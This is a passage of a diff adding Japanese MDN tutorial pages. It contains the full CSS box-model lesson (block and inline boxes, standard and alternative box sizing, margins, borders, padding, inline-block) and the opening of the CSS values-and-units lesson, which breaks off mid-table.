Learn/CSS/Building_blocks/The_box_model +tags: + - Beginner + - CSS + - Learn + - border + - box model + - display + - margin + - padding +translation_of: Learn/CSS/Building_blocks/The_box_model +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</div> + +<p>CSS にはボックスの概念があり、これを理解することは CSS でレイアウトを作成したりアイテム同士を揃えたりするためのコツとなります。このレッスンでは CSS ボックスモデルを詳しく解説し、その仕組みと関連する用語を理解することでより複雑なレイアウトができるようにします。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>) および CSS に関するアイデア (<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>) に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>CSS のボックスモデルとその構成要素、代替モデルへの切り替えについて学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="Block_and_inline_boxes" name="Block_and_inline_boxes">ブロックボックスとインラインボックス</h2> + +<p>CSS には、<strong>ブロックボックス</strong>と<strong>インラインボックス</strong>の 2 種類のボックスがあります。これらの特性は、ページフローの観点から、およびページ上の他のボックスとの関係でボックスがどのように動作するかを示します。</p> + +<p>ボックスがブロックとして定義されている場合、次のように動作します:</p> + +<ul> + <li>ボックスはインライン方向に伸びて、コンテナで使用可能なスペースを埋めます。 ほとんどの場合、これは、ボックスが container と同じ幅になり、使用可能なスペースの 100% を占めることを意味します。</li> + <li>ボックスは新しい行に分割されます。</li> + <li>{{cssxref("width")}} と {{cssxref("height")}} のプロパティが尊重されます。</li> + <li>padding、margin および border により、他の要素がボックスから遠ざけられます。</li> +</ul> + +<p>表示タイプをインラインに変更することを決定しない限り、デフォルトでは見出し (例: <code><h1></code>) や <code><p></code> などの要素はすべて外部表示タイプとして <code>block</code> を使用します。</p> + +<p>ボックスの外側の表示タイプが <code>inline</code> の場合:</p> + +<ul> + <li>ボックスは改行されません。</li> + <li>{{cssxref("width")}} と {{cssxref("height")}} のプロパティは適用されません。</li> + <li>padding、margin および border が適用されますが、他のインラインボックスがボックスから移動することはありません。</li> +</ul> + +<p>リンクに使用される <code><a></code> 要素や、<code><span></code>、<code><em></code> および <code><strong></code> はすべて、デフォルトではインラインで表示される要素の例です。</p> + +<p>要素に適用されるボックスのタイプは、<code>block</code> や <code>inline</code> などの {{cssxref("display")}} プロパティ値によって定義され、<code>display</code> の<strong>外側</strong>の値に関連します。</p> + +<h2 id="Aside_Inner_and_outer_display_types" name="Aside_Inner_and_outer_display_types">余談: 内側と外側の表示タイプ</h2> + +<p>この時点で、<strong>内側</strong>と<strong>外側</strong>の表示タイプについても説明するべきでしょう。上記のように、CSS のボックスには<em>外側</em>の表示タイプがあり、ボックスがブロックかインラインかを詳細に示します。</p> + +<p>ただし、ボックスには内部表示タイプもあり、これにより、そのボックス内の要素のレイアウト方法が決まります。デフォルトでは、ボックス内の要素は<strong><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常のフロー</a></strong>でレイアウトされます。つまり、他のブロック要素やインライン要素と同じように動作します（上記で説明したように）。</p> + +<p>ただし、<code>flex</code> などの <code>display</code> の値を使用して、内部の表示タイプを変更できます。要素に <code>display: flex;</code> を設定する場合、外側の表示タイプは <code>block</code> ですが、内側の表示タイプは <code>flex</code> に変更されます。このボックスの直接の子要素はすべてフレックスアイテムになり、<a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> 仕様で規定されているルールに従ってレイアウトされます。これについては後で学習します。</p> + +<div class="blockIndicator note"> +<p>注：ディスプレイの値、およびブロックおよびインラインレイアウトでのボックスの動作の詳細については、<a href="/ja/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">ブロックおよびインラインレイアウト</a>に関する MDN ガイドを参照してください。 </p> +</div> + +<p>CSS レイアウトについてさらに詳しく学習すると、<code>flex</code> や、例えば <code><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">grid</a></code> のようなボックスに設定できる他のさまざまな内部の値と出会うでしょう。</p> + +<p>ただし、ブロックおよびインラインレイアウトは、ウェブ上のデフォルトの動作です。前述のように、<em>通常のフロー</em>と呼ばれることもあります。他の指示がない場合、ボックスはブロックまたはインラインボックスとしてレイアウトされるためです。</p> + +<h2 id="Examples_of_different_display_types" name="Examples_of_different_display_types">さまざまな表示タイプの例</h2> + +<p>次に進み、いくつかの例を見てみましょう。以下に、3 つの異なる HTML 要素があります。これらはすべて、外部表示タイプの <code>block</code> を持っています。1 つ目は段落で、CSS で border が追加されています。ブラウザーはこれを block box としてレンダリングするため、段落は新しい行で始まり、利用可能な全幅に拡張されます。</p> + +<p>2 番目はリストで、これは <code>display：flex</code> を使用してレイアウトされます。これにより、コンテナ内のアイテムのフレックスレイアウトが確立されますが、リスト自体は block boxであり、段落と同様に、container の幅いっぱいに拡張され、新しい行に分割されます。</p> + +<p>この下にブロックレベルの段落があり、その中に 2 つの <code><span></code> 要素があります。通常、これらの要素は <code>inline</code> ですが、要素の 1 つにブロックのクラスがあり、<code>display: block</code> に設定しました。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/block.html", '100%', 1000)}}</p> + +<p>この次の例では、<code>inline</code> 要素の動作を確認できます。最初の段落の <code><span></code> はデフォルトではインラインのため、強制的に改行しません。</p> + +<p>また、<code>display: inline-flex</code> に設定された <code><ul></code> 要素があり、一部の flex アイテムの周りにインラインボックスを作成します。</p> + +<p>最後に、<code>display: inline</code> に設定された 2 つの段落があります。inline flex container と段落はすべて、ブロックレベルの要素として表示されている場合のように新しい行に分割されるのではなく、1 行で一緒に実行されます。</p> + +<p><strong>この例では、<code>display: inline</code> を <code>display: block</code> に、または<code>display: inline-flex</code> を <code>display: flex</code> に変更して、これらの表示モードの間を切り替えられます。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline.html", '100%', 1000)}}</p> + +<p>これらのレッスンの後半では、フレックスレイアウトなどの問題と出会います。現時点で覚えておくべき重要な点は、<code>display</code> プロパティの値を変更すると、ボックスの外側の表示タイプがブロックかインラインかを変更できるため、レイアウト内の他の要素と一緒に表示する方法が変わることです。</p> + +<p>レッスンの残りの部分では、外側のディスプレイタイプに集中します。</p> + +<h2 id="What_is_the_CSS_box_model" name="What_is_the_CSS_box_model">CSS のボックスモデルとは？</h2> + +<p>完全な CSS ボックスモデルはブロックボックスに適用され、インラインボックスはボックスモデルで定義された動作の一部のみを使用します。 モデルは、ボックスのさまざまな部分 (マージン、ボーダー、パディング、コンテンツ) がどのように連携してページに表示できるボックスを作成するかを定義します。 さらに複雑さを追加するために、標準および代替ボックスモデルがあります。</p> + +<h3 id="Parts_of_a_box" name="Parts_of_a_box">ボックスの構成</h3> + +<p>CSSでブロックボックスを構成するには、次のものがあります。</p> + +<ul> + <li><strong>Content box</strong>: コンテンツが表示される領域。{{cssxref ("width")}} や {{cssxref("height")}} などのプロパティを使用してサイズを変更できます。</li> + <li><strong>Padding box</strong>: パディングはコンテンツの周囲に空白として配置されます。 そのサイズは {{cssxref ("padding")}} および関連するプロパティを使用して制御できます。</li> + <li><strong>Border box</strong>: 境界ボックスは、コンテンツとパディングをラップします。そのサイズとスタイルは、{{cssxref ("border")}} および関連するプロパティを使用して制御できます。</li> + <li><strong>Margin box</strong>: マージンは最も外側のレイヤーで、このボックスと他の要素の間の空白としてコンテンツ、パディング、および境界線をラップします。そのサイズは、{{cssxref ("margin")}} および関連するプロパティを使用して制御できます。</li> +</ul> + +<p>以下の図は、これらのレイヤーを示しています:<img alt="Diagram of the box model" src="https://mdn.mozillademos.org/files/16558/box-model.png" style="height: 300px; width: 544px;"></p> + +<h3 id="The_standard_CSS_box_model" name="The_standard_CSS_box_model">CSS ボックスモデルの標準</h3> + +<p>標準のボックスモデルでは、ボックスに <code>width</code> と <code>height</code> を指定すると、<em>コンテンツボックス</em>の幅と高さが定義されます。 次に、すべての padding と border がその幅と高さに追加され、ボックスが占める合計サイズが取得されます。 これを下の画像に示します。</p> + +<p>ボックスに <code>width</code>、<code>height</code>、<code>margin</code>、<code>border</code> および <code>padding</code> を定義する次の CSS があると仮定した場合:</p> + +<pre class="brush: css notranslate">.box { + width: 350px; + height: 150px; + margin: 25px; + padding: 25px; + border: 5px solid black; +} +</pre> + +<p>標準のボックスモデルを使用してボックスが占めるスペースは、実際には 410px (350 + 25 + 25 + 5 + 5) で、高さは 210px (150 + 25 + 25 + 5 + 5) であり、padding と border は コンテンツボックスに使用される幅に追加されます。<img alt="Showing the size of the box when the standard box model is being used." src="https://mdn.mozillademos.org/files/16559/standard-box-model.png" style="height: 300px; width: 500px;"></p> + +<div class="blockIndicator note"> +<p><strong>注:</strong> マージンは、ボックスの実際のサイズにはカウントされません。確かに、ボックスがページ上で占める合計スペースに影響しますが、ボックスの外側のスペースにのみ影響します。ボックスの領域は境界線で停止します—マージンまでは達しません。</p> +</div> + +<h3 id="The_alternative_CSS_box_model" name="The_alternative_CSS_box_model">CSS ボックスモデルの代替</h3> + +<p>ボックスの実際のサイズを取得するために border と padding を追加する必要があるのはかなり不便だと思うかもしれませんが、正しい感覚でしょう！このため、CSS には、標準ボックスモデルのしばらく後に導入された代替ボックスモデルがありました。このモデルを使用すると、幅はページ上の表示ボックスの幅になるため、コンテンツ領域の幅は、その幅からパディングとボーダーの幅を引いたものになります。上記と同じ CSS を使用すると、以下の結果が得られます (幅 = 350px、高さ = 150px)。</p> + +<p><img alt="Showing the size of the box when the alternate box model is being used." src="https://mdn.mozillademos.org/files/16557/alternate-box-model.png" style="height: 240px; width: 440px;"></p> + +<p>デフォルトでは、ブラウザーは、標準のボックスモデルを使用します。もし要素に対して代替モデルをオンにしたい場合は、<code>box-sizing: border-box</code> を設定することでそうできます。これにより、設定した任意のサイズで定義された領域として境界ボックスを取るようにブラウザーに指示しています。</p> + +<pre class="brush: css notranslate"><code>.box { + box-sizing: border-box; +} </code></pre> + +<p>すべての要素で代替ボックスモデルを使用することを望み、かつこれが開発者の間で一般的な選択である場合、以下のスニペットで見られるように、<code><html></code> 要素で <code>box-sizing</code> プロパティを設定して、他のすべての要素でその値を継承するように設定してください。この背景にある考え方を理解したい場合は、<a href="https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/">ボックスサイズ設定に関する CSS トリック</a>の記事を参照してください。</p> + +<pre class="brush: css notranslate"><code class="language-css"><span class="selector token">html</span> <span class="punctuation token">{</span> + <span class="property token">box-sizing</span><span class="punctuation token">:</span> border-box<span class="punctuation token">;</span> +<span class="punctuation token">}</span> +<span class="selector token">*, *<span class="pseudo-element token">::before</span>, *<span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span> + <span class="property token">box-sizing</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 興味深い歴史 — Internet Explorer は以前は代替ボックスモデルにデフォルト設定されていましたが、切り替え可能なメカニズムはありませんでした。</p> +</div> + +<h2 id="Playing_with_box_models" name="Playing_with_box_models">ボックスモデルを試してみる</h2> + +<p>以下の例では、2 つのボックスを見ることができます。両方とも <code>.box</code> のクラスを持ち、同じ <code>width</code>、<code>height</code>、<code>margin</code>、<code>border</code>、および<code>padding</code> を提供します。唯一の違いは、2 番目のボックスが代替ボックスモデルを使用するように設定されていることです。</p> + +<p><strong>2 番目のボックスのサイズを変更 (<code>.alternate</code> クラスに CSS を追加) して、幅と高さを最初のボックスに一致させることはできますか？</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/box-models.html", '100%', 1000)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-box-model">ここ</a>でこのタスクの解決策を見つけることができます。</p> +</div> + +<h3 id="Use_browser_DevTools_to_view_the_box_model" name="Use_browser_DevTools_to_view_the_box_model">ブラウザーの開発ツールを利用して、ボックスモデルを見てみる</h3> + +<p><a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザー開発ツール</a>を使用すると、ボックスモデルをとても簡単に理解できます。Firefox の DevTools で要素を調べると、要素のサイズに加えて、margin、padding、border を確認できます。 この方法で要素を検査することは、あなたのボックスが本当にあなたが思っているサイズであるかどうかを知る素晴らしい方法です！</p> + +<p><img alt="Inspecting the box model of an element using Firefox DevTools" src="https://mdn.mozillademos.org/files/16560/box-model-devtools.png" style="height: 683px; width: 1150px;"></p> + +<h2 id="Margins_padding_and_borders" name="Margins_padding_and_borders">Margins、padding および borders</h2> + +<p>上記の例では、{{cssxref ("margin") }}、{{cssxref ("padding") }} および{{cssxref ("border") }} のプロパティが動作しているのを見てきました。 この例で使用されるプロパティは <strong>shorthands</strong> であり、ボックスの 4 辺すべてを一度に設定できます。これらの shorthands には、同等の longhand プロパティもあり、ボックスのさまざまな側面を個別に制御できます。</p> + +<p>これらのプロパティをさらに詳しく見てみましょう。</p> + +<h3 id="Margin" name="Margin">マージン</h3> + +<p>マージンは、ボックスの周りの見えないスペースです。 他の要素をボックスから遠ざけます。 マージンには正または負の値を設定できます。 ボックスの片側に負のマージンを設定すると、ページ上の他の部分と重なる場合があります。 標準または代替のボックスモデルを使用しているかどうかにかかわらず、表示ボックスのサイズが計算された後、マージンは常に追加されます。</p> + +<p>{{cssxref ("margin") }} プロパティを使用して要素のすべてのマージンを一度に制御するか、同等の longhand properties を使用して各辺を個別に制御できます。</p> + +<ul> + <li>{{cssxref("margin-top")}}</li> + <li>{{cssxref("margin-right")}}</li> + <li>{{cssxref("margin-bottom")}}</li> + <li>{{cssxref("margin-left")}}</li> +</ul> + +<p><strong>次の例では、マージン値を変更して、この要素と含まれる要素の間のスペース (負のマージンの場合) を作成または削除するマージンのためにボックスがどのように押し出されるかを確認してください。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin.html", '100%', 1000)}}</p> + +<h4 id="Margin_collapsing" name="Margin_collapsing">マージンの相殺</h4> + +<p>マージンについて理解する重要なことは、マージンの相殺の概念です。 マージンが接する 2 つの要素が あり、両方のマージンが正の場合、それらのマージンは結合して 1 つのマージンになります。これは、個々のマージンのうちの最大サイズです。一方または両方のマージンが負の場合、負の値の量が合計から差し引かれます。</p> + +<p>以下の例では、2 つの段落があります。 上の段落には、50 ピクセルの <code>margin-bottom</code> があります。2 番目の段落の <code>margin-top</code> は 30 ピクセルです。マージンは一緒に折りたたまれているため、ボックス間の実際のマージンは 50 ピクセルであり、2 つのマージンの合計ではありません。</p> + +<p><strong>これをテストするには、第二段落の <code>margin-top</code> を 0 に設定します。2 つの段落間のマージンは変更されません。第一段落の <code>margin-bottom</code> に設定された 50 ピクセルを保持します。-10pxに設定すると、全体のマージンが40pxになることがわかります— 50pxから差し引かれま</strong>す。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 1000)}}</p> + +<p>マージンが相殺される場合と相殺されない場合を規定する多くのルールがあります。 詳細については、<a href="/ja/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">マージンの相殺</a>に関する詳細ページをご覧ください。現時点で覚えておくべき主なことは、マージンの相殺が起こることです。マージンによるスペースを作成していて、期待したスペースが得られない場合、おそらくこれが起こっています。</p> + +<h3 id="Borders" name="Borders">Borders</h3> + +<p>border は、ボックスの margin と padding の間に描かれます。標準ボックスモデルを使用している場合、border のサイズがボックスの <code>width</code> と <code>height</code> に追加されます。代替ボックスモデルを使用している場合、border のサイズが利用可能な <code>width</code> と <code>height</code> の一部を占めるため、コンテンツボックスが小さくなります。</p> + +<p>border のスタイル設定には、多数のプロパティがあります。4 つの border があり、各 border には、操作したいスタイル、width、color があります。</p> + +<p>{{cssxref("border")}} プロパティを使用して、4 つすべての border の width、color およびスタイルを一度に設定できます。</p> + +<p>各辺のスタイルを個別に設定するには、次を使用できます:</p> + +<ul> + <li>{{cssxref("border-top")}}</li> + <li>{{cssxref("border-right")}}</li> + <li>{{cssxref("border-bottom")}}</li> + <li>{{cssxref("border-left")}}</li> +</ul> + +<p>すべての辺の幅、スタイル、色を設定するには、次を使用します:</p> + +<ul> + <li>{{cssxref("border-width")}}</li> + <li>{{cssxref("border-style")}}</li> + <li>{{cssxref("border-color")}}</li> +</ul> + +<p>片側の色、スタイル、または width を設定するには、最もきめ細かい longhand プロパティのいずれかを使用できます:</p> + +<ul> + <li>{{cssxref("border-top-width")}}</li> + <li>{{cssxref("border-top-style")}}</li> + <li>{{cssxref("border-top-color")}}</li> + <li>{{cssxref("border-right-width")}}</li> + <li>{{cssxref("border-right-style")}}</li> + <li>{{cssxref("border-right-color")}}</li> + <li>{{cssxref("border-bottom-width")}}</li> + <li>{{cssxref("border-bottom-style")}}</li> + <li>{{cssxref("border-bottom-color")}}</li> + <li>{{cssxref("border-left-width")}}</li> + <li>{{cssxref("border-left-style")}}</li> + <li>{{cssxref("border-left-color")}}</li> +</ul> + +<p><strong>以下の例では、さまざまなショートハンドとロングハンドを使用して border を作成しています。 さまざまなプロパティを試して、それらがどのように機能するか理解していることを確認してください。border プロパティの MDN ページには、選択可能なさまざまな border スタイルに関する情報が表示されます。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 1000)}}</p> + +<h3 id="Padding" name="Padding">パディング</h3> + +<p>padding は、border とコンテンツ領域の間にあります。margin とは異なり、負の量の padding はできないため、値は 0 または正の値でなければなりません。要素に適用された背景は padding の背後に表示され、通常は border からコンテンツ遠ざけるために使用されます。</p> + +<p>{{cssxref("padding")}} プロパティを使用して要素の各側の padding を個別に制御するか、同等のロングハンドプロパティを使用して各側を個別に制御できます。</p> + +<ul> + <li>{{cssxref("padding-top")}}</li> + <li>{{cssxref("padding-right")}}</li> + <li>{{cssxref("padding-bottom")}}</li> + <li>{{cssxref("padding-left")}}</li> +</ul> + +<p><strong>以下の例で <code>.box</code> クラスの padding の値を変更すると、ボックスに関連してテキストの開始位置が変わることがわかります。</strong></p> + +<p><strong><code>.container</code> クラスの padding を変更することもできます。これにより、container とボックスの間にスペースができます。padding は任意の要素で変更でき、border と要素内にあるものとの間にスペースを作ります。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 800)}}</p> + +<h2 id="The_box_model_and_inline_boxes" name="The_box_model_and_inline_boxes">ボックスモデルとインラインボックス</h2> + +<p>上記のすべては、ブロックボックスに完全に適用されます。一部のプロパティは<code><span></code> 要素によって作成されたものなどの、インラインボックスにも適用できます。</p> + +<p>以下の例では、段落内に <code><span></code> があり、<code>width</code>、<code>height</code>、<code>margin</code>、<code>border</code> および <code>padding</code> が適用されています。width と height が無視されていることがわかります。マージン、パディング、ボーダーは尊重されますが、他のコンテンツとインラインボックスの関係は変わらないため、パディングとボーダーは段落内の他の単語と重なります。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 800)}}</p> + +<h2 id="Using_display_inline-block" name="Using_display_inline-block">display: inline-block を使用する</h2> + +<p><code>display</code> には特別な値があり、<code>inline</code> と <code>block</code> の中間に位置するものを提供します。これは、アイテムを新しい行に分割したくないが、<code>width</code> と <code>height</code> を尊重し、上記の上書きを避けたい場合に便利です。</p> + +<p><code>display: inline-block</code> を持つ要素は、私たちがすでに知っているブロックのサブセットを実行します:</p> + +<ul> + <li><code>width</code> と <code>height</code> のプロパティが尊重されます。</li> + <li>padding、margin、および border により、他の要素がボックスから遠ざけられます。</li> +</ul> + +<p>ただし、新しい行に分割されることはなく、<code>width</code> プロパティと <code>height</code> プロパティを明示的に追加した場合にのみ、コンテンツよりも大きくなります。</p> + +<p><strong>次の例では、<code><span></code> 要素に <code>display: inline-block</code> を追加しました。これを</strong> <strong><code>display: block</code> </strong> <strong>変更したり、行を完全に削除したりして、表示モデルの違いを確認してください。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block.html", '100%', 800)}}</p> + +<p>これが役立つのは、padding を追加して、リンクのヒット領域を大きくしたい場合です。<code><a></code> は <code><span></code> のようなインライン要素です。 <code>display：inline-block</code> を使用して padding を設定できるようにし、ユーザーがリンクをクリックしやすくします。</p> + +<p>これはナビゲーションバーにかなり頻繁に表示されます。以下のナビゲーションは、flexbox を使用して行に表示され、<code><a></code> にカーソルを合わせたときに背景色を変更できるように、<code><a></code> 要素に padding を追加しました。paddingは、<code><ul></code> 要素の border に重なるように見えます。これは、<code><a></code>がインライン要素であるためです。</p> + +<p><strong><code>display: inline-block</code> を <code>.links-list a</code> セレクターを使用してルールに追加すると、padding が他の要素によって尊重されるようにすることで、この問題がどのように修正されるかがわかります。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block-nav.html", '100%', 600)}}</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>以上が、ボックスモデルについて理解する必要があるほとんどのことです。レイアウト内の大きなボックスの大きさについて混乱している場合は、このレッスンに戻ってください。</p> + +<p>次のレッスンでは<a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景とボーダー</a>を使用してプレーンボックスをより面白くする方法を見ていきます。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し (オーバーフロー)</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/values_and_units/index.html b/files/ja/learn/css/building_blocks/values_and_units/index.html new file mode 100644 index 0000000000..1ebb091ee2 --- /dev/null +++ b/files/ja/learn/css/building_blocks/values_and_units/index.html @@ -0,0 +1,407 @@ +--- +title: CSS の値と単位 +slug: Learn/CSS/Building_blocks/Values_and_units +tags: + - Beginner + - CSS + - Function + - Image + - Learn + - Number + - Position + - color + - length + - percentage + - units + - values +translation_of: Learn/CSS/Building_blocks/Values_and_units +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</div> + +<p><font>CSS で使用されるすべてのプロパティには、特定の値または組み合わせのみが許可されており、MDN の各プロパティに関するページでは有効な値を理解するのに役立ちます。このレッスンでは、もっとも一般的な値と単位について見ていきます。</font></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）および CSS の動作概念（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>CSS プロパティで使用されるさまざまな種類の値と単位について学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_a_CSS_value" name="What_is_a_CSS_value">CSS での値とは？</h2> + +<p>CSS の仕様や MDN のプロパティページでは、<code><color></code> や <code><length></code> のような角括弧で囲まれた値を見つけることができます。<code><color></code> の値がその特定のプロパティとして妥当なとき、ここではそのプロパティの妥当な色を表していることを意味しています。具体的な値は <code><a href="/ja/docs/Web/CSS/color_value"><color></a></code> のリファレンスページを参照してください。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <em>データタイプ </em>を参照する CSS の値を確認しましょう。これは、基本的に交換可能です — データタイプとして参照する、CSS であなたが見るものは装飾のための値を示しています。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注</strong>: CSS の値は<>括弧で示すことが多く、CSS のプロパティによって違います(例えば{{cssxref("color")}} プロパティや <a href="/ja/docs/Web/CSS/color_value"><color></a> データタイプがあります)。CSS のデータタイプ型と HTML の要素は違いますので、混乱しないでください。両方とも<>括弧を使います — しかしそれらを使用するコンテキストは全く異なります。</p> +</div> + +<p>次の例では、キーワードを使用して章立ての色を設定し、かつ背景色を <code>rgb()</code> 関数を使って指定します。:</p> + +<pre class="brush: css notranslate"><code>h1 { + color: black; + background-color: rgb(197,93,161); +} </code> +</pre> + +<p>CSS の値は指定可能なサブ値の集合を定義します。これは、<code><color></code> が妥当な箇所では、異なる種類の色の値、キーワード、16進数、<code>rgb()</code> 関数などで設定できるかどうか考える必要はありません。あなたのブラウザーがサポートしていると仮定できる、<em>あらゆる</em> 利用可能な <code><color></code> の値が指定できます。MDN のページはそれぞれのブラウザーがサポートしている値の情報を提供します。例えば、<code><a href="/ja/docs/Web/CSS/color_value"><color></a></code> のページには、ブラウザーの互換性のセクションがあり、サポートされているそれぞれの種類を見られます。</p> + +<p>ここでは見ることが多いいくつかのタイプの値や単位を確認しましょう。また例のさまざまな値を変えて試しましょう。</p> + +<h2 id="Numbers_lengths_and_percentages" name="Numbers_lengths_and_percentages">数値・長さ・割合</h2> + +<p>CSS では数値データ型をいくつかみるでしょう。次のものは数値に分類されています。:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">データタイプ</th> + <th scope="col">説明</th> + </tr> + </thead> + <tbody> + <tr> + <td><code><a href="/ja/docs/Web/CSS/integer"><integer></a></code></td> + <td><code><integer></code> (整数)は、<code>1024</code> や <code>-55</code> のようなすべての整数です。</td> + </tr> + <tr> + <td><code><a href="/ja/docs/Web/CSS/number"><number></a></code></td> + <td><code><number></code> (数)は 10進数です。小数点のあるものとないものがあります。例えば、<code>0.255</code>、<code>128</code> や <code>-1.2</code> です。</td> + </tr> + <tr> + <td><code><dimension></code></td> + <td><code><dimension></code> (寸法)は <code><number></code> に付属するものです。例えば、<code>45deg</code>, <code>5s</code>, それに <code>10px</code> です。<code><dimension></code> には <code><a href="/ja/docs/Web/CSS/length"><length></a></code> (長さ), <code><a href="/ja/docs/Web/CSS/angle"><angle></a></code> (角度), <code><a href="/ja/docs/Web/CSS/time"><time></a></code> (時間), さらに <code><a href="/ja/docs/Web/CSS/resolution"><resolution></a></code> (解像度)型があります。<a href="/ja/docs/Web/CSS/resolution">.</a></td> + </tr> + <tr> + <td><code><a href="/ja/docs/Web/CSS/percentage"><percentage></a></code></td> + <td><code><percentage></code> (パーセント)は他の値との割合を表します。例えば、<code>50%</code>. この値は常に他の量との相対比です。例えば、ある要素の長さは、その親要素の長さが関連しています。</td> + </tr> + </tbody> +</table> + +<h3 id="Lengths" name="Lengths">Lengths(長さ)</h3> + +<p>数値型でもっともよく遭遇するのは、<code><length></code>です。例えば、<code>10px</code> (ピクセル) や <code>30em</code> です。CSS で使用される長さの種類は二つに分けられます。relative(相対)と absolute(絶対)です。この違いを理解することは非常に重大です。</p> + +<h4 id="Absolute_length_units" name="Absolute_length_units">絶対長の単位</h4> + +<p>次の単位はすべて <strong>absolute</strong> length units(絶対的な長さの単位) です。この単位は、他の長さとの関係で決まりません。一般的にこの単位は常に同じサイズと考えられます。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Unit</th> + <th scope="col">名前</th> + <th scope="col">換算</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>cm</code></td> + <td>Centimeters センチメートル</td> + <td>1cm = 96px/2.54</td> + </tr> + <tr> + <td><code>mm</code></td> + <td>Millimeters ミリメートル</td> + <td>1mm = 1/10 cm</td> + </tr> + <tr> + <td><code>Q</code></td> + <td>Quarter-millimeters 1/4 ミリメートル</td> + <td>1Q = 1/40 